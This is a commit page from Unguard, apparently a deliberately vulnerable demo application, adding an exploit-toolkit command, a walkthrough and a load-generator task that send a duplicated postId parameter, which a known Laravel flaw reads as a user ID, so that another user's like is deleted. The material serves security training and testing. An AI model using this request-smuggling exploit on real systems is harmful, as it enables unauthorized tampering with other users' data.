Skip to content

Commit

Permalink
🧑‍💻 feat: Extend exploit scripts and user simulator to support like s…
Browse files Browse the repository at this point in the history
…ervice
  • Loading branch information
eliasgierlinger authored and W3D3 committed Nov 20, 2023
1 parent dba5dc5 commit 284d5e2
Show file tree
Hide file tree
Showing 7 changed files with 97 additions and 10 deletions.
29 changes: 29 additions & 0 deletions exploit-toolkit/exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -356,6 +356,35 @@ def sql_inject_mariadb(sql_command, target):
click.secho('Exploit failed.', fg="red")


@cli.command()
@click.option('--target',
prompt='Unguard frontend',
default='unguard.kube',
help='The host and port where Unguard frontend runs')
@click.option('--post',
prompt='Post ID',
default='1',
help='The post ID of the post to unlike')
@click.option('--user',
prompt='User ID',
default='1',
help='The user ID of the user whose like should be removed (admanager always has ID 1)')
def sql_inject_unlike_post(post, user, target):
"""
Tries to remove a like for another user
"""
session = requests.session()
if not logged_in(session):
click.echo("Not logged in. Run login command first.")
return

r = session.get(f'http://{target + frontend_base_path}/post', params={'postId': [post, user], 'like_delete': ''}, allow_redirects=False)

# should always be status code 404
click.echo('Request returned status code %s.' % str(r.status_code))
click.secho('Exploit executed.', fg="green")


def prepare_injected_payload(payload: str):
"""
Prepares redis payloads to be send via HTTP header injection in Apache HTTPClient
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
# SQL Injection

Utilizing [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection) can lead to sensitive data being read
and/or databases to be modified (Insert/Update/Delete).
In addition, administrative operations such as shutting down the DBMS can also be completed.

Unguard has a PHP microservice for handling likes that uses an unsafe version of Laravel, allowing you to remove another user's like on a post. When liking/unliking, normally, the PHP service would receive a post ID and a user ID, but with the right parameters, you can send two post IDs, leading to the latter one being misinterpreted as the user ID by Laravel ([see more details](https://security.snyk.io/vuln/SNYK-PHP-LARAVELFRAMEWORK-1060045)).

## Preconditions and Requirements

For this exploit to work you need:

* [unguard](../../../docs/DEV-GUIDE.md) deployed and running
* (optional) [unguard-exploit-toolkit](../../INSTALL.md) set up

## Removing another user's like
You can exploit the vulnerability in the PHP Like Service either with or without the Toolkit CLI.
In any case, you will have to find out the user ID of the user whose like you want to remove.
This ID is exposed indirectly through the Users page. The admanager user always has the ID 1, and you can see that it is listed at the top of the users page.
The user shown below the admanager has the ID 2, the one below that has the ID 3 etc.

### w/o Toolkit CLI
Once you have the ID of the user whose like on a particular post you want to remove, head over to the frontend page for that post, e.g. http://unguard.kube/ui/post?postId=1.
You can get to that page by liking the post yourself. Then, in the search bar, modify the parameters thusly:
`http://unguard.kube/ui/post?postId=[POST_ID]&postId=[USER_ID]&like_delete`.
The second `postId` parameter is misinterpreted by Laravel as the user ID, and the like for that user will be deleted. After you load the site with these parameters,
you should see a 404 error.

### With Toolkit CLI
You can use the `ug-exploit` tool for exploiting the vulnerability. Make sure to use `ug-exploit login` first.

Afterwards, use `ug-exploit sql-inject-unlike-post` and enter the post and user ID. That should delete the specified user's like. The returned status code will always be 404.


## Further Details

* [SQL Injection - OWASP](https://owasp.org/www-community/attacks/SQL_Injection)
* [SQL Injection affecting laravel/framework - Snyk](https://security.snyk.io/vuln/SNYK-PHP-LARAVELFRAMEWORK-1060045)
11 changes: 6 additions & 5 deletions src/frontend/site.js
Original file line number Diff line number Diff line change
Expand Up @@ -117,15 +117,13 @@ function showUsers(req, res) {

async function showPersonalTimeline(req, res) {
try {


let [myTimeline, membership] = await fetchUsingDeploymentBase(req, () =>
Promise.all([
req.MICROBLOG_API.get('/mytimeline'),
getMembershipOfLoggedInUser(req)
]))

let postArray = myTimeline.data;//
let postArray = myTimeline.data;
postArray = await insertLikeCountIntoPostArray(req, postArray);

let data = extendRenderData({
Expand All @@ -150,9 +148,12 @@ function showUserProfile(req, res) {
req.MICROBLOG_API.get(`/users/${username}/posts`),
getMembership(req, username)
])
).then(([bioText, microblogServiceResponse, membership]) => {
).then(async ([bioText, microblogServiceResponse, membership]) => {
let postArray = microblogServiceResponse.data;
postArray = await insertLikeCountIntoPostArray(req, postArray);

let data = extendRenderData({
data: microblogServiceResponse.data,
data: postArray,
profileName: username,
username: getJwtUser(req.cookies),
isAdManager: hasJwtRole(req.cookies, roles.AD_MANAGER),
Expand Down
8 changes: 4 additions & 4 deletions src/frontend/views/post.njk
Original file line number Diff line number Diff line change
Expand Up @@ -51,19 +51,19 @@ limitations under the License.
</div>
{% if (post.userLiked) %}
<form action="{{extendURL('/post')}}" method="get" style="display: inline-block; height:46px">
<input type="hidden" name="postId" value="{{post.postId}}">
<input type="hidden" name="like_delete">
<button type="submit" style="background: transparent; border: none;">
<img src="{{ extendURL('/img/thumb_up_liked.png') }}" width="30" height="30" style="vertical-align: bottom;"/>
</button>
<input type="hidden" id="postId" name="postId" value="{{post.postId}}">
<input type="hidden" id="like_delete" name="like_delete">
</form>
{% else %}
<form action="{{extendURL('/post')}}" method="get" style="display: inline-block; height:46px">
<input type="hidden" name="postId" value="{{post.postId}}">
<input type="hidden" name="like_post">
<button type="submit" style="background: transparent; border: none;">
<img src="{{ extendURL('/img/thumb_up.png') }}" width="30" height="30" style="vertical-align: bottom;"/>
</button>
<input type="hidden" id="postId" name="postId" value="{{post.postId}}">
<input type="hidden" id="like_post" name="like_post">
</form>
{% endif %}
</div>
Expand Down
12 changes: 11 additions & 1 deletion src/malicious-load-generator/locustfile.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,8 @@
import os
import random
import time
from locust import HttpUser, task, between

from locust import HttpUser, between, task

LOCATION_BASED_IPS = ['177.236.37.155',
'49.210.236.225',
Expand Down Expand Up @@ -169,6 +170,15 @@ def get_sql_golang(self):
self.client.get("/users", params=sql_username, headers=self.get_random_x_forwarded_for_header())
time.sleep(1)

@task()
def post_sql_php(self):
post_id = 1
user_id = 1

# try to remove the like of the admanger account (user ID 1) on the first post (post ID 1).
self.client.get("/post", params={'postId': [post_id, user_id], 'like_delete': ''}, headers=self.get_random_x_forwarded_for_header())
time.sleep(1)

def on_start(self):
curr_user = self.get_running_username()
# super secure passwords :)
Expand Down
1 change: 1 addition & 0 deletions src/user-simulator/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ Executes following tasks:

* register / login
* visit frontpage
* like a post
* visit personal timelines
* post text posts
* post URL posts
Expand Down
8 changes: 8 additions & 0 deletions src/user-simulator/default-user-sim.perf.ts
Original file line number Diff line number Diff line change
Expand Up @@ -149,6 +149,14 @@ export default () => {
await browser.visit(config.frontendUrl + '/')
})

step('Like post', async browser => {
await browser.visit(config.frontendUrl + '/')
const likeButton = await browser.maybeFindElement(By.css('input[type=hidden][name=postId] ~ button[type=submit]'))
await likeButton?.click();

console.log(`${user.username} liked a post: ${browser.getUrl()}`)
})

step('Visit Timeline', async browser => {
await browser.visit(config.frontendUrl + '/my-timeline')
})
Expand Down

0 comments on commit 284d5e2

Please sign in to comment.